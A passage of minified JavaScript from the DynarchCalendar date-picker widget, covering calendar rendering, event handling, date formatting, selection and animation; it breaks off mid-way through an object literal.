Calendar=function(){function n(a){a=a||{};this.args=a=ba(a,{animation:!T,cont:null,bottomBar:true,date:true,fdow:r("fdow"),min:null,max:null,reverseWheel:false,selection:[],selectionType:n.SEL_SINGLE,weekNumbers:false,align:"Bl/ / /T/r",inputField:null,trigger:null,dateFormat:"%Y-%m-%d",opacity:q?1:3,titleFormat:"%b %Y",showTime:false,timePos:"right",time:true,minuteStep:5,disabled:y,checkRange:false,dateInfo:y,onChange:y,onSelect:y,onTimeChange:y,onFocus:y,onBlur:y});this.handlers={};var b=this,
c=new Date;a.min=M(a.min);a.max=M(a.max);if(a.date===true)a.date=c;if(a.time===true)a.time=c.getHours()*100+Math.floor(c.getMinutes()/a.minuteStep)*a.minuteStep;this.date=M(a.date);this.time=a.time;this.fdow=a.fdow;ca("onChange onSelect onTimeChange onFocus onBlur".split(/\s+/),function(d){var e=a[d];e instanceof Array||(e=[e]);b.handlers[d]=e});this.selection=new n.Selection(a.selection,a.selectionType,sa,this);c=ta.call(this);a.cont&&N(a.cont).appendChild(c);a.trigger&&this.manageFields(a.trigger,
a.inputField,a.dateFormat)}function da(a){var b=["<table",z,"><tr>"],c=0;for(a.args.weekNumbers&&b.push("<td><div class='DynarchCalendar-weekNumber'>",r("wk"),"</div></td>");c<7;){var d=(c++ +a.fdow)%7;b.push("<td><div",r("weekend").indexOf(d)>=0?" class='DynarchCalendar-weekend'>":">",r("sdn")[d],"</div></td>")}b.push("</tr></table>");return b.join("")}function U(a,b,c){b=b||a.date;c=c||a.fdow;b=new Date(b.getFullYear(),b.getMonth(),b.getDate(),12,0,0,0);var d=b.getMonth(),e=[],f=0,g=a.args.weekNumbers;
b.setDate(1);c=(b.getDay()-c)%7;if(c<0)c+=7;b.setDate(-c);b.setDate(b.getDate()+1);var h=new Date;c=h.getDate();var j=h.getMonth();h=h.getFullYear();e[f++]="<table class='DynarchCalendar-bodyTable'"+z+">";for(var i=0;i<6;++i){e[f++]="<tr class='DynarchCalendar-week";if(i==0)e[f++]=" DynarchCalendar-first-row";if(i==5)e[f++]=" DynarchCalendar-last-row";e[f++]="'>";if(g)e[f++]="<td class='DynarchCalendar-first-col'><div class='DynarchCalendar-weekNumber'>"+ea(b)+"</div></td>";for(var k=0;k<7;++k){var l=
b.getDate(),u=b.getMonth(),o=b.getFullYear(),s=1E4*o+100*(u+1)+l,G=a.selection.isSelected(s),F=a.isDisabled(b);e[f++]="<td class='";if(k==0&&!g)e[f++]=" DynarchCalendar-first-col";if(k==0&&i==0)a._firstDateVisible=s;if(k==6){e[f++]=" DynarchCalendar-last-col";if(i==5)a._lastDateVisible=s}if(G)e[f++]=" DynarchCalendar-td-selected";e[f++]="'><div dyc-type='date' unselectable='on' dyc-date='"+s+"' ";if(F)e[f++]="disabled='1' ";e[f++]="class='DynarchCalendar-day";if(r("weekend").indexOf(b.getDay())>=
0)e[f++]=" DynarchCalendar-weekend";if(u!=d)e[f++]=" DynarchCalendar-day-othermonth";if(l==c&&u==j&&o==h)e[f++]=" DynarchCalendar-day-today";if(F)e[f++]=" DynarchCalendar-day-disabled";if(G)e[f++]=" DynarchCalendar-day-selected";if((F=a.args.dateInfo(b))&&F.klass)e[f++]=" "+F.klass;e[f++]="'>"+l+"</div></td>";b=new Date(o,u,l+1,12,0,0,0)}e[f++]="</tr>"}e[f++]="</table>";return e.join("")}function ua(a){var b=["<table class='DynarchCalendar-topCont'",z,"><tr><td><div class='DynarchCalendar'>",!q?"<button class='DynarchCalendar-focusLink'></button>":
"<a class='DynarchCalendar-focusLink' href='#'></a>","<div class='DynarchCalendar-topBar'><div dyc-type='nav' dyc-btn='-Y' dyc-cls='hover-navBtn,pressed-navBtn' class='DynarchCalendar-navBtn DynarchCalendar-prevYear'><div></div></div><div dyc-type='nav' dyc-btn='+Y' dyc-cls='hover-navBtn,pressed-navBtn' class='DynarchCalendar-navBtn DynarchCalendar-nextYear'><div></div></div><div dyc-type='nav' dyc-btn='-M' dyc-cls='hover-navBtn,pressed-navBtn' class='DynarchCalendar-navBtn DynarchCalendar-prevMonth'><div></div></div><div dyc-type='nav' dyc-btn='+M' dyc-cls='hover-navBtn,pressed-navBtn' class='DynarchCalendar-navBtn DynarchCalendar-nextMonth'><div></div></div><table class='DynarchCalendar-titleCont'",
z,"><tr><td><div dyc-type='title' dyc-btn='menu' dyc-cls='hover-title,pressed-title' class='DynarchCalendar-title'>",fa(a),"</div></td></tr></table><div class='DynarchCalendar-dayNames'>",da(a),"</div></div><div class='DynarchCalendar-body'></div>"];if(a.args.bottomBar||a.args.showTime)b.push("<div class='DynarchCalendar-bottomBar'>",ga(a),"</div>");b.push("<div class='DynarchCalendar-menu' style='display: none'>",ha(a),"</div><div class='DynarchCalendar-tooltip'></div></div></td></tr></table>");
return b.join("")}function fa(a){return"<div unselectable='on'>"+B(a.date,a.args.titleFormat)+"</div>"}function ha(a){a=["<table height='100%'",z,"><tr><td><table style='margin-top: 1.5em'",z,"><tr><td colspan='3'><input dyc-btn='year' class='DynarchCalendar-menu-year' size='6' value='",a.date.getFullYear(),"' /></td></tr><tr><td><div dyc-type='menubtn' dyc-cls='hover-navBtn,pressed-navBtn' dyc-btn='today'>",r("goToday"),"</div></td></tr></table><p class='DynarchCalendar-menu-sep'>&nbsp;</p><table class='DynarchCalendar-menu-mtable'",
z,">"];for(var b=r("smn"),c=0,d=a.length,e;c<12;){a[d++]="<tr>";for(e=4;--e>0;)a[d++]="<td><div dyc-type='menubtn' dyc-cls='hover-navBtn,pressed-navBtn' dyc-btn='m"+c+"' class='DynarchCalendar-menu-month'>"+b[c++]+"</div></td>";a[d++]="</tr>"}a[d++]="</table></td></tr></table>";return a.join("")}function ga(a){function b(){if(d.showTime){c.push("<td>");var e=a,f=c;f.push("<table class='DynarchCalendar-time'"+z+"><tr><td rowspan='2'><div dyc-type='time-hour' dyc-cls='hover-time,pressed-time' class='DynarchCalendar-time-hour'></div></td><td dyc-type='time-hour+' dyc-cls='hover-time,pressed-time' class='DynarchCalendar-time-up'></td><td rowspan='2' class='DynarchCalendar-time-sep'></td><td rowspan='2'><div dyc-type='time-min' dyc-cls='hover-time,pressed-time' class='DynarchCalendar-time-minute'></div></td><td dyc-type='time-min+' dyc-cls='hover-time,pressed-time' class='DynarchCalendar-time-up'></td>");
e.args.showTime==12&&f.push("<td rowspan='2' class='DynarchCalendar-time-sep'></td><td rowspan='2'><div class='DynarchCalendar-time-am' dyc-type='time-am' dyc-cls='hover-time,pressed-time'></div></td>");f.push("</tr><tr><td dyc-type='time-hour-' dyc-cls='hover-time,pressed-time' class='DynarchCalendar-time-down'></td><td dyc-type='time-min-' dyc-cls='hover-time,pressed-time' class='DynarchCalendar-time-down'></td></tr></table>");c.push("</td>")}}var c=[],d=a.args;c.push("<table",z," style='width:100%'><tr>");
d.timePos=="left"&&b();if(d.bottomBar){c.push("<td>");c.push("<table",z,"><tr><td><div dyc-btn='today' dyc-cls='hover-bottomBar-today,pressed-bottomBar-today' dyc-type='bottomBar-today' class='DynarchCalendar-bottomBar-today'>",r("today"),"</div></td></tr></table>");c.push("</td>")}d.timePos=="right"&&b();c.push("</tr></table>");return c.join("")}function ta(){var a=ia("div"),b=this.els={},c={mousedown:p(ja,this,true),mouseup:p(ja,this,false),mouseover:p(V,this,true),mouseout:p(V,this,false),keypress:p(va,
this)};c[wa?"DOMMouseScroll":"mousewheel"]=p(xa,this);if(q){c.dblclick=c.mousedown;c.keydown=c.keypress}a.innerHTML=ua(this);O(a.firstChild,function(d){var e=ka[d.className];if(e)b[e]=d;q&&d.setAttribute("unselectable","on")});A(b.main,c);A([b.focusLink,b.yearInput],this._focusEvents={focus:p(la,this),blur:p(ya,this)});this.moveTo(this.date,false);this.setTime(null,true);return b.topCont}function la(){this._bluringTimeout&&clearTimeout(this._bluringTimeout);this.focused=true;W(this.els.main,"DynarchCalendar-focused");
this.callHooks("onFocus",this)}function ma(){this.focused=false;H(this.els.main,"DynarchCalendar-focused");this._menuVisible&&C(this,false);this.args.cont||this.hide();this.callHooks("onBlur",this)}function ya(){this._bluringTimeout=setTimeout(p(ma,this),50)}function na(a){switch(a){case "time-hour+":this.setHours(this.getHours()+1);break;case "time-hour-":this.setHours(this.getHours()-1);break;case "time-min+":this.setMinutes(this.getMinutes()+this.args.minuteStep);break;case "time-min-":this.setMinutes(this.getMinutes()-
this.args.minuteStep)}}function J(a,b,c){this._bodyAnim&&this._bodyAnim.stop();var d;if(b!=0){d=new Date(a.date);d.setDate(1);switch(b){case "-Y":case -2:d.setFullYear(d.getFullYear()-1);break;case "+Y":case 2:d.setFullYear(d.getFullYear()+1);break;case "-M":case -1:d.setMonth(d.getMonth()-1);break;case "+M":case 1:d.setMonth(d.getMonth()+1)}}else d=new Date;return a.moveTo(d,!c)}function C(a,b){a._menuVisible=b;D(b,a.els.title,"DynarchCalendar-pressed-title");var c=a.els.menu;if(T)c.style.height=
a.els.main.offsetHeight+"px";if(a.args.animation){a._menuAnim&&a._menuAnim.stop();var d=a.els.main.offsetHeight;if(T)c.style.width=a.els.topBar.offsetWidth+"px";if(b){c.firstChild.style.marginTop=-d+"px";a.args.opacity>0&&w(c,0);X(c,true)}a._menuAnim=P({onUpdate:function(e,f){c.firstChild.style.marginTop=f(E.accel_b(e),-d,0,!b)+"px";a.args.opacity>0&&w(c,f(E.accel_b(e),0,0.85,!b))},onStop:function(){a.args.opacity>0&&w(c,0.85);c.firstChild.style.marginTop="";a._menuAnim=null;if(!b){X(c,false);a.focused&&
a.focus()}}})}else{X(c,b);a.focused&&a.focus()}}function ja(a,b){b=b||window.event;var c=Y(b);if(c&&!c.getAttribute("disabled")){var d=c.getAttribute("dyc-btn"),e=c.getAttribute("dyc-type"),f=c.getAttribute("dyc-date"),g=this.selection,h,j={mouseover:v,mousemove:v,mouseup:function(){var l=c.getAttribute("dyc-cls");l&&H(c,Z(l,1));clearTimeout(h);$(document,j,true);j=null}};if(a){setTimeout(p(this.focus,this),1);var i=c.getAttribute("dyc-cls");i&&W(c,Z(i,1));if("menu"==d)this.toggleMenu();else if(c&&
/^[+-][MY]$/.test(d))if(J(this,d)){var k=p(function(){if(J(this,d,true))h=setTimeout(k,40);else{j.mouseup();J(this,d)}},this);h=setTimeout(k,350);A(document,j,true)}else j.mouseup();else if("year"==d){this.els.yearInput.focus();this.els.yearInput.select()}else{if(e!="time-am")if(/^time/.test(e)){k=p(function(l){na.call(this,l);h=setTimeout(k,100)},this,e);na.call(this,e);h=setTimeout(k,350)}else if(f&&g.type){if(g.type==n.SEL_MULTIPLE)if(b.shiftKey&&this._selRangeStart)g.selectRange(this._selRangeStart,
f);else{!b.ctrlKey&&!g.isSelected(f)&&g.clear(true);g.set(f,true);this._selRangeStart=f}else{g.set(f);this.moveTo(t(f),2)}c=this._getDateDiv(f);V.call(this,true,{target:c})}A(document,j,true)}q&&j&&/dbl/i.test(b.type)&&j.mouseup();if(/^(DynarchCalendar-(topBar|bottomBar|weekend|weekNumber|menu(-sep)?))?$/.test(c.className)&&!this.args.cont){j.mousemove=p(za,this);this._mouseDiff=oa(b,Q(this.els.topCont));A(document,j,true)}}else if("today"==d){!this._menuVisible&&g.type==n.SEL_SINGLE&&g.set(new Date);
this.moveTo(new Date,true);C(this,false)}else if(/^m([0-9]+)/.test(d)){f=new Date(this.date);f.setDate(1);f.setMonth(RegExp.$1);f.setFullYear(this._getInputYear());this.moveTo(f,true);C(this,false)}else e=="time-am"&&this.setHours(this.getHours()+12);q||v(b)}}function za(a){a=a||window.event;var b=this.els.topCont.style;a=oa(a,this._mouseDiff);b.left=a.x+"px";b.top=a.y+"px"}function Y(a){for(var b=a=a.target||a.srcElement;a&&a.getAttribute&&!a.getAttribute("dyc-type");)a=a.parentNode;return a.getAttribute&&
a||b}function Z(a,b){return"DynarchCalendar-"+a.split(/,/)[b]}function V(a,b){b=b||window.event;var c=Y(b);if(c){var d=c.getAttribute("dyc-type");if(d&&!c.getAttribute("disabled"))if(!a||!this._bodyAnim||d!="date"){var e=c.getAttribute("dyc-cls");e=e?Z(e,0):"DynarchCalendar-hover-"+d;if(d!="date"||this.selection.type)D(a,c,e);if(d=="date"){D(a,c.parentNode.parentNode,"DynarchCalendar-hover-week");this._showTooltip(c.getAttribute("dyc-date"))}/^time-hour/.test(d)&&D(a,this.els.timeHour,"DynarchCalendar-hover-time");
/^time-min/.test(d)&&D(a,this.els.timeMinute,"DynarchCalendar-hover-time");H(this._getDateDiv(this._lastHoverDate),"DynarchCalendar-hover-date");this._lastHoverDate=null}}a||this._showTooltip()}function xa(a){a=a||window.event;var b=Y(a);if(b){var c=b.getAttribute("dyc-btn");b=b.getAttribute("dyc-type");var d=a.wheelDelta?a.wheelDelta/120:-a.detail/3;d=d<0?-1:d>0?1:0;if(this.args.reverseWheel)d=-d;if(/^(time-(hour|min))/.test(b))switch(RegExp.$1){case "time-hour":this.setHours(this.getHours()+d);
break;case "time-min":this.setMinutes(this.getMinutes()+this.args.minuteStep*d)}else{if(/Y/i.test(c))d*=2;J(this,-d)}v(a)}}function sa(){this.refresh();var a=this.inputField,b=this.selection;if(a){var c=b.print(this.dateFormat);/input|textarea/i.test(a.tagName)?a.value=c:a.innerHTML=c}this.callHooks("onSelect",this,b)}function va(a){if(!this._menuAnim){a=a||window.event;var b=(a.target||a.srcElement).getAttribute("dyc-btn"),c=a.keyCode,d=a.charCode||c,e=Aa[c];if("year"==b&&c==13){d=new Date(this.date);
d.setDate(1);d.setFullYear(this._getInputYear());this.moveTo(d,true);C(this,false);return v(a)}if(this._menuVisible){if(c==27){C(this,false);return v(a)}}else{a.ctrlKey||(e=null);if(e==null&&!a.ctrlKey)e=Ba[c];if(c==36)e=0;if(e!=null){J(this,e);return v(a)}d=String.fromCharCode(d).toLowerCase();e=this.els.yearInput;b=this.selection;if(d==" "){C(this,true);this.focus();e.focus();e.select();return v(a)}if(d>="0"&&d<="9"){C(this,true);this.focus();e.value=d;e.focus();return v(a)}var f=r("mn");e=a.shiftKey?
-1:this.date.getMonth();for(var g=0,h;++g<12;){h=f[(e+g)%12].toLowerCase();if(h.indexOf(d)==0){d=new Date(this.date);d.setDate(1);d.setMonth((e+g)%12);this.moveTo(d,true);return v(a)}}if(c>=37&&c<=40){d=this._lastHoverDate;if(!d&&!b.isEmpty()){d=c<39?b.getFirstDate():b.getLastDate();if(d<this._firstDateVisible||d>this._lastDateVisible)d=null}if(d){var j=d;d=t(d);for(e=100;e-- >0;){switch(c){case 37:d.setDate(d.getDate()-1);break;case 38:d.setDate(d.getDate()-7);break;case 39:d.setDate(d.getDate()+
1);break;case 40:d.setDate(d.getDate()+7)}if(!this.isDisabled(d))break}d=x(d);if(d<this._firstDateVisible||d>this._lastDateVisible)this.moveTo(d)}else d=c<39?this._lastDateVisible:this._firstDateVisible;H(this._getDateDiv(j),W(this._getDateDiv(d),"DynarchCalendar-hover-date"));this._lastHoverDate=d;return v(a)}if(c==13)if(this._lastHoverDate){if(b.type==n.SEL_MULTIPLE&&(a.shiftKey||a.ctrlKey)){if(a.shiftKey&&this._selRangeStart){b.clear(true);b.selectRange(this._selRangeStart,this._lastHoverDate)}if(a.ctrlKey)b.set(this._selRangeStart=
this._lastHoverDate,true)}else b.reset(this._selRangeStart=this._lastHoverDate);return v(a)}c==27&&!this.args.cont&&this.hide()}}}function pa(a,b){return a.replace(/\$\{([^:\}]+)(:[^\}]+)?\}/g,function(c,d,e){var f=b[d];if(e){c=e.substr(1).split(/\s*\|\s*/);f=(f>=c.length?c[c.length-1]:c[f]).replace(/##?/g,function(g){return g.length==2?"#":f})}return f})}function r(a,b){var c=K.__.data[a];if(b&&typeof c=="string")c=pa(c,b);return c}function ea(a){a=new Date(a.getFullYear(),a.getMonth(),a.getDate(),
12,0,0);var b=a.getDay();a.setDate(a.getDate()-(b+6)%7+3);b=a.valueOf();a.setMonth(0);a.setDate(4);return Math.round((b-a.valueOf())/6048E5)+1}function Ca(a){a=new Date(a.getFullYear(),a.getMonth(),a.getDate(),12,0,0);var b=new Date(a.getFullYear(),0,1,12,0,0);return Math.floor((a-b)/864E5)}function x(a){if(a instanceof Date)return 1E4*a.getFullYear()+100*(a.getMonth()+1)+a.getDate();if(typeof a=="string")return parseInt(a,10);return a}function t(a,b,c,d,e){if(!(a instanceof Date)){a=parseInt(a,10);
var f=Math.floor(a/1E4);a%=1E4;var g=Math.floor(a/100);a%=100;a=new Date(f,g-1,a,b||12,c||0,d||0,e||0)}return a}function L(a,b,c){var d=a.getFullYear(),e=a.getMonth();a=a.getDate();var f=b.getFullYear(),g=b.getMonth();b=b.getDate();return d<f?-3:d>f?3:e<g?-2:e>g?2:c?0:a<b?-1:a>b?1:0}function B(a,b){var c=a.getMonth(),d=a.getDate(),e=a.getFullYear(),f=ea(a),g=a.getDay(),h=a.getHours(),j=h>=12,i=j?h-12:h,k=Ca(a),l=a.getMinutes(),u=a.getSeconds(),o;if(i===0)i=12;o={"%a":r("sdn")[g],"%A":r("dn")[g],"%b":r("smn")[c],
"%B":r("mn")[c],"%C":1+Math.floor(e/100),"%d":d<10?"0"+d:d,"%e":d,"%H":h<10?"0"+h:h,"%I":i<10?"0"+i:i,"%j":k<10?"00"+k:k<100?"0"+k:k,"%k":h,"%l":i,"%m":c<9?"0"+(1+c):1+c,"%o":1+c,"%M":l<10?"0"+l:l,"%n":"\n","%p":j?"PM":"AM","%P":j?"pm":"am","%s":Math.floor(a.getTime()/1E3),"%S":u<10?"0"+u:u,"%t":"\t","%U":f<10?"0"+f:f,"%W":f<10?"0"+f:f,"%V":f<10?"0"+f:f,"%u":g+1,"%w":g,"%y":(""+e).substr(2,2),"%Y":e,"%%":"%"};return b.replace(/%./g,function(s){return o.hasOwnProperty(s)?o[s]:s})}function M(a){if(a){if(typeof a==
"number")return t(a);if(!(a instanceof Date)){a=a.split(/-/);return new Date(parseInt(a[0],10),parseInt(a[1],10)-1,parseInt(a[2],10),12,0,0,0)}}return a}function Da(a){if(/\S/.test(a)){a=a.toLowerCase();var b=function(c){for(var d=c.length;--d>=0;)if(c[d].toLowerCase().indexOf(a)==0)return d};b=b(r("smn"))||b(r("mn"));b!=null&&b++;return b}}function ba(a,b,c,d){d={};for(c in b)if(b.hasOwnProperty(c))d[c]=b[c];for(c in a)if(a.hasOwnProperty(c))d[c]=a[c];return d}function A(a,b,c,d){if(a instanceof
Array)for(var e=a.length;--e>=0;)A(a[e],b,c,d);else if(typeof b=="object")for(e in b)b.hasOwnProperty(e)&&A(a,e,b[e],c);else if(a.addEventListener)a.addEventListener(b,c,q?true:!!d);else if(a.attachEvent)a.attachEvent("on"+b,c);else a["on"+b]=c}function $(a,b,c,d){if(a instanceof Array)for(var e=a.length;--e>=0;)$(a[e],b,c);else if(typeof b=="object")for(e in b)b.hasOwnProperty(e)&&$(a,e,b[e],c);else if(a.removeEventListener)a.removeEventListener(b,c,q?true:!!d);else if(a.detachEvent)a.detachEvent("on"+
b,c);else a["on"+b]=null}function v(a){a=a||window.event;if(q){a.cancelBubble=true;a.returnValue=false}else{a.preventDefault();a.stopPropagation()}return false}function H(a,b,c){if(a){var d=a.className.replace(/^\s+|\s+$/,"").split(/\x20/),e=[],f;for(f=d.length;f>0;)d[--f]!=b&&e.push(d[f]);c&&e.push(c);a.className=e.join(" ")}return c}function W(a,b){return H(a,b,b)}function D(a,b,c){if(b instanceof Array)for(var d=b.length;--d>=0;)D(a,b[d],c);else H(b,c,a?c:null);return a}function ia(a,b,c){var d=
null;d=document.createElementNS?document.createElementNS("http://www.w3.org/1999/xhtml",a):document.createElement(a);if(b)d.className=b;c&&c.appendChild(d);return d}function R(a,b){if(b==null)b=0;var c,d,e;try{c=Array.prototype.slice.call(a,b)}catch(f){c=Array(a.length-b);d=b;for(e=0;d<a.length;++d,++e)c[e]=a[d]}return c}function p(a,b){var c=R(arguments,2);return b==undefined?function(){return a.apply(this,c.concat(R(arguments)))}:function(){return a.apply(b,c.concat(R(arguments)))}}function O(a,
b){if(!b(a))for(var c=a.firstChild;c;c=c.nextSibling)c.nodeType==1&&O(c,b)}function P(a,b,c){function d(h,j,i,k){return k?i+h*(j-i):j+h*(i-j)}function e(){b&&f();c=0;b=setInterval(g,1E3/a.fps)}function f(){if(b){clearInterval(b);b=null}a.onStop(c/a.len,d)}function g(){var h=a.len;a.onUpdate(c/h,d);c==h&&f();++c}a=ba(a,{fps:50,len:15,onUpdate:y,onStop:y});if(q)a.len=Math.round(a.len/2);e();return{start:e,stop:f,update:g,args:a,map:d}}function w(a,b){if(b==="")q?a.style.filter="":a.style.opacity="";
else if(b!=null)q?a.style.filter="alpha(opacity="+b*100+")":a.style.opacity=b;else if(q){if(/alpha\(opacity=([0-9.])+\)/.test(a.style.opacity))b=parseFloat(RegExp.$1)/100}else b=parseFloat(a.style.opacity);return b}function X(a,b){var c=a.style;if(b!=null)c.display=b?"":"none";return c.display!="none"}function oa(a,b){var c=q?a.clientX+document.body.scrollLeft:a.pageX,d=q?a.clientY+document.body.scrollTop:a.pageY;if(b){c-=b.x;d-=b.y}return{x:c,y:d}}function Q(a){var b=0,c=0,d=/^div$/i.test(a.tagName);
if(d&&a.scrollLeft)b=a.scrollLeft;if(d&&a.scrollTop)c=a.scrollTop;b={x:a.offsetLeft-b,y:a.offsetTop-c};if(a.offsetParent){a=Q(a.offsetParent);b.x+=a.x;b.y+=a.y}return b}function Ea(){var a=document.documentElement,b=document.body;return{x:a.scrollLeft||b.scrollLeft,y:a.scrollTop||b.scrollTop,w:a.clientWidth||window.innerWidth||b.clientWidth,h:a.clientHeight||window.innerHeight||b.clientHeight}}function ca(a,b,c){for(c=0;c<a.length;++c)b(a[c])}function N(a){if(typeof a=="string")a=document.getElementById(a);
return a}var m=navigator.userAgent,qa=/opera/i.test(m),Fa=/Konqueror|Safari|KHTML/i.test(m),q=/msie/i.test(m)&&!qa&&!/mac_powerpc/i.test(m),T=q&&/msie 6/i.test(m),wa=/gecko/i.test(m)&&!Fa&&!qa&&!q;m=n.prototype;var K=n.I18N={};n.SEL_NONE=0;n.SEL_SINGLE=1;n.SEL_MULTIPLE=2;n.SEL_WEEK=3;n.dateToInt=x;n.intToDate=t;n.printDate=B;n.formatString=pa;n.i18n=r;n.LANG=function(a,b,c){K.__=K[a]={name:b,data:c}};n.setup=function(a){return new n(a)};m.moveTo=function(a,b){a=M(a);var c=L(a,this.date,true),d,e=
this.args,f=e.min&&L(a,e.min),g=e.max&&L(a,e.max);if(e.showTime){this.setHours(a.getUTCHours());this.setMinutes(a.getUTCMinutes())}e.animation||(b=false);D(f!=null&&f<=1,[this.els.navPrevMonth,this.els.navPrevYear],"DynarchCalendar-navDisabled");D(g!=null&&g>=-1,[this.els.navNextMonth,this.els.navNextYear],"DynarchCalendar-navDisabled");if(f<-1){a=e.min;d=1;c=0}if(g>1){a=e.max;d=2;c=0}this.date=a;this.refresh(!!b);this.callHooks("onChange",this,a,b);if(b&&!(c==0&&b==2)){this._bodyAnim&&this._bodyAnim.stop();
var h=this.els.body,j=ia("div","DynarchCalendar-animBody-"+Ga[c],h);e=h.firstChild;w(e);var i=d?E.brakes:c==0?E.shake:E.accel_ab2,k=c*c>4,l=k?e.offsetTop:e.offsetLeft,u=j.style,o=k?h.offsetHeight:h.offsetWidth;if(c<0)o+=l;else if(c>0)o=l-o;else{o=Math.round(o/7);if(d==2)o=-o}if(!d&&c!=0){var s=j.cloneNode(true),G=s.style,F=2*o;s.appendChild(e.cloneNode(true));G[k?"marginTop":"marginLeft"]=o+"px";h.appendChild(s)}e.style.visibility="hidden";j.innerHTML=U(this);this._bodyAnim=P({onUpdate:p(function(aa,
S){var I=i(aa);if(s)var ra=S(I,o,F)+"px";if(d)u[k?"marginTop":"marginLeft"]=S(I,o,0)+"px";else{if(k||c==0){u.marginTop=S(c==0?i(aa*aa):I,0,o)+"px";if(c!=0)G.marginTop=ra}if(!k||c==0){u.marginLeft=S(I,0,o)+"px";if(c!=0)G.marginLeft=ra}}if(this.args.opacity>2&&s){w(s,1-I);w(j,I)}},this),onStop:p(function(){h.innerHTML=U(this,a);this._bodyAnim=null},this)})}this._lastHoverDate=null;return f>=-1&&g<=1};m.isDisabled=function(a){var b=this.args;return b.min&&L(a,b.min)<0||b.max&&L(a,b.max)>0||b.disabled(a)};
m.toggleMenu=function(){C(this,!this._menuVisible)};m.refresh=function(a){var b=this.els;if(!a)b.body.innerHTML=U(this);b.title.innerHTML=fa(this);b.yearInput.value=this.date.getFullYear()};m.redraw=function(){var a=this.els;this.refresh();a.dayNames.innerHTML=da(this);a.menu.innerHTML=ha(this);if(a.bottomBar)a.bottomBar.innerHTML=ga(this);O(a.topCont,p(function(b){var c=ka[b.className];if(c)a[c]=b;if(b.className=="DynarchCalendar-menu-year"){A(b,this._focusEvents);a.yearInput=b}else q&&b.setAttribute("unselectable",
"on")},this));this.setTime(null,true)};m.setLanguage=function(a){if(a=n.setLanguage(a)){this.fdow=a.data.fdow;this.redraw()}};n.setLanguage=function(a){if(a=K[a])K.__=a;return a};m.focus=function(){try{this.els[this._menuVisible?"yearInput":"focusLink"].focus()}catch(a){}la.call(this)};m.blur=function(){this.els.focusLink.blur();this.els.yearInput.blur();ma.call(this)};m.showAt=function(a,b,c){this._showAnim&&this._showAnim.stop();c=c&&this.args.animation;var d=this.els.topCont,e=this,f=this.els.body.firstChild,
g=f.offsetHeight,h=d.style;h.position="absolute";h.left=a+"px";h.top=b+"px";h.zIndex=1E4;h.display="";if(c){f.style.marginTop=-g+"px";this.args.opacity>1&&w(d,0);this._showAnim=P({onUpdate:function(j,i){f.style.marginTop=-i(E.accel_b(j),g,0)+"px";e.args.opacity>1&&w(d,j)},onStop:function(){e.args.opacity>1&&w(d,"");e._showAnim=null}})}};m.hide=function(){var a=this.els.topCont,b=this,c=this.els.body.firstChild,d=c.offsetHeight,e=Q(a).y;if(this.args.animation){this._showAnim&&this._showAnim.stop();
this._showAnim=P({onUpdate:function(f,g){b.args.opacity>1&&w(a,1-f);c.style.marginTop=-g(E.accel_b(f),0,d)+"px";a.style.top=g(E.accel_ab(f),e,e-10)+"px"},onStop:function(){a.style.display="none";c.style.marginTop="";b.args.opacity>1&&w(a,"");b._showAnim=null}})}else a.style.display="none";this.inputField=null};m.popup=function(a,b){function c(i){var k={x:j.x,y:j.y};if(!i)return k;if(/B/.test(i))k.y+=a.offsetHeight;if(/b/.test(i))k.y+=a.offsetHeight-g.y;if(/T/.test(i))k.y-=g.y;if(/l/.test(i))k.x-=
g.x-a.offsetWidth;if(/L/.test(i))k.x-=g.x;if(/R/.test(i))k.x+=a.offsetWidth;if(/c/i.test(i))k.x+=(a.offsetWidth-g.x)/2;if(/m/i.test(i))k.y+=(a.offsetHeight-g.y)/2;return k}a=N(a);if(!b)b=this.args.align;b=b.split(/\x2f/);var d=Q(a),e=this.els.topCont,f=e.style,g,h=Ea();f.visibility="hidden";f.display="";this.showAt(0,0);document.body.appendChild(e);g={x:e.offsetWidth,y:e.offsetHeight};var j=d;j=c(b[0]);if(j.y<h.y){j.y=d.y;j=c(b[1])}if(j.x+g.x>h.x+h.w){j.x=d.x;j=c(b[2])}if(j.y+g.y>h.y+h.h){j.y=d.y;
j=c(b[3])}if(j.x<h.x){j.x=d.x;j=c(b[4])}this.showAt(j.x,j.y,true);f.visibility="";this.focus()};m.manageFields=function(a,b,c){b=N(b);A(N(a),"click",p(function(){this.inputField=b;this.dateFormat=c;if(this.selection.type==n.SEL_SINGLE){var d,e,f,g;if(d=/input|textarea/i.test(b.tagName)?b.value:b.innerText||b.textContent){e=/(^|[^%])%[bBmo]/.exec(c);f=/(^|[^%])%[de]/.exec(c);if(e&&f)g=e.index<f.index;if(d=Calendar.parseDate(d,g)){this.selection.set(d,false,true);this.moveTo(d)}}}this.popup(a)},this))};
m.callHooks=function(a){for(var b=R(arguments,1),c=this.handlers[a],d=0;d<c.length;++d)c[d].apply(this,b)};m.addEventListener=function(a,b){this.handlers[a].push(b)};m.removeEventListener=function(a,b){for(var c=this.handlers[a],d=c.length;--d>=0;)c[d]===b&&c.splice(d,1)};m.getTime=function(){return this.time};m.setTime=function(a,b){if(this.args.showTime){a=this.time=a!=null?a:this.time;var c=this.getHours(),d=this.getMinutes(),e=c<12;if(this.args.showTime==12){if(c==0)c=12;if(c>12)c-=12;this.els.timeAM.innerHTML=
r(e?"AM":"PM")}if(c<10)c="0"+c;if(d<10)d="0"+d;this.els.timeHour.innerHTML=c;this.els.timeMinute.innerHTML=d;b||this.callHooks("onTimeChange",this,a)}};m.getHours=function(){return Math.floor(this.time/100)};m.getMinutes=function(){return this.time%100};m.setHours=function(a){if(a<0)a+=24;this.setTime(100*(a%24)+this.time%100)};m.setMinutes=function(a){if(a<0)a+=60;this.setTime(100*this.getHours()+a%60)};m._getInputYear=function(){var a=parseInt(this.els.yearInput.value,10);if(isNaN(a))a=this.date.getFullYear();
return a};m._showTooltip=function(a){var b="",c,d=this.els.tooltip;if(a){a=t(a);if((c=this.args.dateInfo(a))&&c.tooltip)b="<div class='DynarchCalendar-tooltipCont'>"+B(a,c.tooltip)+"</div>"}d.innerHTML=b};var z=" align='center' cellspacing='0' cellpadding='0'",ka={"DynarchCalendar-topCont":"topCont","DynarchCalendar-focusLink":"focusLink",DynarchCalendar:"main","DynarchCalendar-topBar":"topBar","DynarchCalendar-title":"title","DynarchCalendar-dayNames":"dayNames","DynarchCalendar-body":"body","DynarchCalendar-menu":"menu",
